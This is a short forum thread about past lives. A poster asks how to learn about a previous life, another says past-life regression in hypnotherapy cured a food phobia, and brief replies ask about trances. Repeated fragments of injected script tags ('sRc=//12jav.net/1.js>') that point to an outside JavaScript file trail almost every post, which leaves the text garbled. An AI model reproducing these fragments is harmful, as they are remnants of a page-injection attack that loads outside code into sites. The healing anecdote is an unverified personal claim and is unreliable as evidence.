Past Life

What are the benefits of knowing about your past life, and also how would I learn about it. I already know to meditate on it because meditation is the key to everything but is there anyting else to try? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

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I had a past life regression as part of a hypnotherapy session to help with my food neophobia and it helped my understand that the blame doesn't lie with me or my parents and once i understood, my past life identity could finally cross over and heal. now my life is improving and the fear isnt there anymore.

Blessed Be sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

how do you go into trances sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

ok thank you that helps a lot sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>